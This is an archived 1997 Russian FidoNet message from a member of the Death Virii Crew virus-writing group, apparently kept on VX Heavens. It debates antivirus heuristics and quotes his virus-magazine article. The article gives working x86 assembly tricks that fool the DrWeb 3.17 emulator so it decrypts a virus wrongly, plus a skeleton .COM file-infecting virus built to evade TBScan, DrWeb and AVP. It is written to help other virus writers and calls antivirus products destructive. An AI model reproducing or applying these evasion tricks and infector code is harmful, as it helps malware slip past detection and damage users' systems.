Msg : Prev 2699 / 4681 Next -2691 +2724 2726
1997-07-05 12:21:16

To  : Igor Dikshew

Subj:

DrWeb 3.22a


Привет Igor! 

Смотрю я значит на дисплей, а там - 04 Jul 97 14:03, 
Igor Dikshew пишет к Kostya Volkov, во- думаю, дай чего-нить скажу: 

KV>> именно эмулятора ? или анализатора макро ? 
ID> Эмулятоpа. 

спорить бесполезно, так как все равно никто ничего не докажет. 

ID> довести все до ума. А вот насчет эвpистика... Я же вpоде бы ясно 
ID> сказал - я pассматpиваю pаботу эвpистика и эмулятоpа ни как одно 
ID> целое, а как два совеpшенно pазных алгоpитма. 

все так рассматривают. смотри мою статейку по этому поводу 
полугодичной давности: 


=== Cut === 
[Death Virii Crew] Presents 
CHAOS A.D. Vmag, Issue 3, Autumn 1996 - Winter 1997 

~ ... Кому жизнь буги-вуги, а кому полный бред 
Кому жизнь буги-вуги, ну а мне полный бред... " 
(Чиж & Co) 


И снова и снова как всегда. Это борьба, в которой нет победителей, эта 
гонка по нарастающей, где вылететь с полосы все проще и проще. Это то, 
где каждый считает, что он прав, а противоположная сторона нет. Каждый 
считает что он прав. Конечно. Это то, чем кто-то занимается ради бабок, 
кто-то ради ощущения немеряной крутизны, кто-то ради слов благодарности, 
кто-то ради причинения вреда ближнему. Кто-то занимается этим не ради 
чего-то, а ради того самого, чем он занимается. И не всегда возможно 
ответить на вопрос "зачем". И никогда нельзя быть уверенным в искренности 
ответа. Если кому-то и нужен этот ответ, то мой ответ - не знаю. Знаю лишь то, 
что слово "произведение" относительно написания вирусов подразумевает 
действительно произведение творчества, в то время когда как "произведение" 
антивирусов, этих деструктивных поделок, подразумевает слово "производство". 

;----------------------------------------------------------------------------- 

Эвристики: Hello world. 


Эвристик или эвристичекий анализатор состоит из двух 
составных частей, как то: эмулятор кода и анализатор 
наличия вируса. 

Анализаторы наличия вируса начинали 
свое существование уже довольно давно, общепринятой 
классикой (но почему то не для меня) в этом плане 
является Lie Detector by Е.Сусликов. это начало 90-х 
годов. Впоследствии Евгений понял, что это не его 
сфера и переключился на всем вам известный hiew :) 
Так вот, анализатор наличия вирусов это участок 
кода, определяет характерные признаки вируса и 
реагирует соответственно им. Допустим если у вас 
есть поиск (4eh) с маской *.com, а также запись 
(40h) в файл, то можно с некоторой вероятностью 
гарантировать наличие вируса в файле, где вы это 
нашли. 

Далее: эмулятор кода в эвристике предназначен для 
работы в паре с анализатором и для того, чтобы 
можно было обнаруживать шифрующиеся вирусы. 
Эмулятор кода, это не что иное как псевдовыполнение 
инструкций процессора. В идеале эмулятор должен 
эмулировать весь комп'ютер, что естественно недостижимо. 
Эмуляторы кода тоже не новы, они часто использовались в 
отладчиках и для эмуляции на pc других процов, cкажем z80. 

Обломить эвристик безусловно можно как на его эмуляторе, так 
и на его анализаторе. Я приведу и тот и другой способ. 
в качестве примера выберем web 3.17, в силу его наибольшей 
распространенности на територии ex-совка. 

В начале немного слов: облом эмулятора заключается в 
предложении ему на эмуляцию некоторой последовательности 
кода, которая в его выполнении выполнится по другому, 
нежели в реальном исполнении. итак,web: 

есть несколько путей облома эмулятора. наиболее простые 
и действенные из них: 

- знание дыры в уже эмуляции команд эмулятором. 
- невозможность эмулятору проэмулить часть 
машины выходящую за пределы проца. 

иными словами либо глюки в эмуляции проца либо вне его. 

первого вообще то, теоретически существовать не должно. 
но как правило на практике встречаются довольно забойные 
дыры, каковые можно использовать. 

ко второму относится эмуляция ОЗУ/ПЗУ/периферии. 

начнем с первого: 

=== Cut === 
; web 3.17 trick (c) Reminder [DVC] 

xor ax,ax 
sahf 
lahf 
xchg al,ah 
add ax,5 ; ax=7 

call $+3 
pop si 
add si,ax 
jmp si 
mov bl,56h ; эта команда в реальном исполнении не выполнится 
; в исполнении же web'a выполнится. 
=== Cut === 

все дело в том, что после инструкций xor ax,ax / sahf / lahf в 
ah окажется вовсе не 0, а 2. Hа вот таких вот неочевидностях 
и основан в большинстве своем этот метод. Метод поиска глюков 
в эмуляции команд проца. Мы пустили web по ложной ветви, которая 
никогда не выполнится. в данном случае это была команда mov bl,56h. 
bx - это ключ расшифровщика, и запись в него другого значения 
не позволит расшифровать web'у ваш вирус правильно. Более того, 
если вирус только, что откомпилированный и при bx=0 в реальном 
исполнении он произведет посадку в память, то при web'овском 56h 
его эмулятор сам перешифрует ваш код ;) естественно анализатору 
после этого там делать нечего. 

Приступим ко второму способу обхода эвристики методом облома 
эмулятора: 

=== Cut === 
; web 3.17 trick (c) Reminder [DVC] 
in ax,42h 
mov si,ax 
in ax,42h 
cmp ax,si 
jnz ccc 
mov bx,1234h ; web выполняет, реально нет 
ccc: 
=== Cut === 

тут эмулятор обломился на неспособности проэмулить порты ;)) 
всяких разных портов много, посему это очень приятная дырень, 
какую вряд-ли когда смогут заткнуть. 


Hадеюсь сюжет вкратце ясен ? Перейдем теперь к другому методу, принципиально 
иному: методу облома самого анализатора. 

Поскольку доблестные заSHITники человечества при разработке своих поделок 
не руководствуются абсолютно никакой теорией, а процесс заключается в "тяп в 
лоб, авось пройдет", то и обломить их представляет ровно столько же усилий, 
а именно - нисколько. И касается это не только web'a, но и avp,f-prot,t-bav. 
И пока, за неимением у меня других только их. Так вот: 


=== Cut === 
; Com-NonResident from the current directory 

inter macro 
int 1h 
endm 

.model tiny 
.code 
org 100h 
start: 

разная инициализация .... 

;-------------------------------- 
push ds es 
xor ax,ax 
mov es,ax 
mov ax,8 
mov ds,ax 
mov si,4 
mov di,si 
cld 
movsw 
movsw 
pop es ds 
mov byte ptr ds:[fmask],'*' 
;-------------------------------- 

..... всякая там ерунда .... 


find: 
mov cx,20h 
mov ah,4eh 
mov dx,offset fmask 
inter 
jc quit 

.... интересное и не очень .... 


mov ax,3d02h 
mov dx,9eh 
inter 
jc next 

.... и еще куча всего .... 

mov byte ptr ds:[fmask],'1' 

mov ah,40h ; функция записи тела вируса в файл ;))) 
mov dx,100h 
mov cx,len 
inter 
jc next 

.... и продолжаем в таком же духе .... 

fmask db '1.com',0 ; маска файлов, которые мы будем искать 
len equ $-start 

.... 

=== Cut === 

дешевый 5-минутный пример. tbscan v6.33, web 3.17, avpro 2.2 показывают 
свою полную беспомощность на этом _совершенно_нешифрованом_ вирусе. 
А ты говоришь теории. Я почему то думаю, что все методы эвристики cейчас 
делаются на "вперед, авось пройдет", без предварительного серьезного 
теоретического обоснования. Конечно, возможно я ошибаюсь. По крайней мере 
ошибаться было-бы интереснее :))) 

p.S. int 1 можно заменить на что-то еще, но его использование меня порадовало 
под _пародиями_на_отладчики_ ;))) 


(c) by Reminder [DVC] 

=== Cut === 

ID> для боpьбы с эвpистикам 
ID> было пpинято условие достаточности - _виpус_должен_быть покpиптован. 

не обязательно. 

ID> Для боpьбы с эмулятоpом - команды декpиптоpа должы быть pазнесены 
ID> дpуг 
ID> от дpуга на возможно большее количество байт. В буфеpных байтах должны 
ID> pаспологаться любые команды, не связанные на пpямую с виpусным кодом, 
ID> т.е. выделение памяти, пpовеpка наличия pезидентной копии, поиск точек 
ID> входа в обpаботчики вектоpов пpеpываний, команды-мусоp,.... 

это долго нудно и не стабильно. на мой взгляд. декриптор вырастает - 
соответственно вырастает маска. это раз. полиморфик таким образом 
ты не напишешь - это два. и самое главное - ЭВРИСТИКИ HА ЭТО 
_HE_ ВЕДУТСЯ. это третье. 
подробнее: то что ты запостил не ловится web'ом по совсем другой 
причине, а именно, наличием всего лишь вызова 4ah/int 21h _перед_ 
декриптором. замени это на nop и ты увидишь, что и вирь будет 
прекрасно работать и web его будет прекрасно ловить. и правда 
непонятно нахера изменение блоков памяти в _нерезиденте_ :)))) 

ID>>> Я же вpоде 
ID>>> бы отсылал вместе с исходниками и COM-файлы, уже "доpаботанные". 
ID>>> Их ни AVP ни DrWeb не обнаpуживает. 
KV>> это какое-то достижение ? Ж)) 
ID> Hет. Это подтвеpждение пpавильности моих мыслей. 

см. выше насчет правильности мыслей. 

ID>>> Или ты письма чеpез одно читаешь? ;) 
KV>> нет, не через одно. да, com криптованый не обнаруживает, 
KV>> поэтому я и написал, что только что откомпилированый 
KV>> обнаруживает. вот и все. 
ID> Блин, GOTO @1 

а я повторяю, что если эвристик обнаруживает некриптованый вирь, то 
это не вирь, а фейк. 

KV>>>> это не кайф. это не стоит того, чтобы об этом говорить. 
KV>>>> эвристик хреновый, это ясно слону, но не таким же нахрапом его 
KV>>>> опускать, да ? 
ID>>> Я и не опускал его. Пpосто эвpистик - палка о двух концах: 
ID>>> качество - скоpость. Hа сегодняшний день скоpость является 
ID>>> нехилым огpаничением эмулятоpов. Вот это огpаничение я и поюзал 
ID>>> и дpугим пpедложил. 
KV>> как ты думаешь нахрена козе баян ? :) 
ID> Hу ежели не интеpесно - я и помолчать могу... Пусть дpугие гутаpят... 

я не про то, я про правильность рассуждений. а то, что ты один из 
тех, кто поднимает тут траффик я за это тебе благодарен. но извини, 
не такой же чушью его поднимать :)))) 

С бестовыми регардами , Kostya Volkov aka Reminder 

.' [Death Virii Crew] [Crematorium fans Team] [WW] `. 

--- 
* Origin: chaos a.d. (2:4631/17) 
VX Heavens - коллекция вирусов,исходников и статей.
Сообщения можно выбирать стрелками Enter
Пользовательского поиска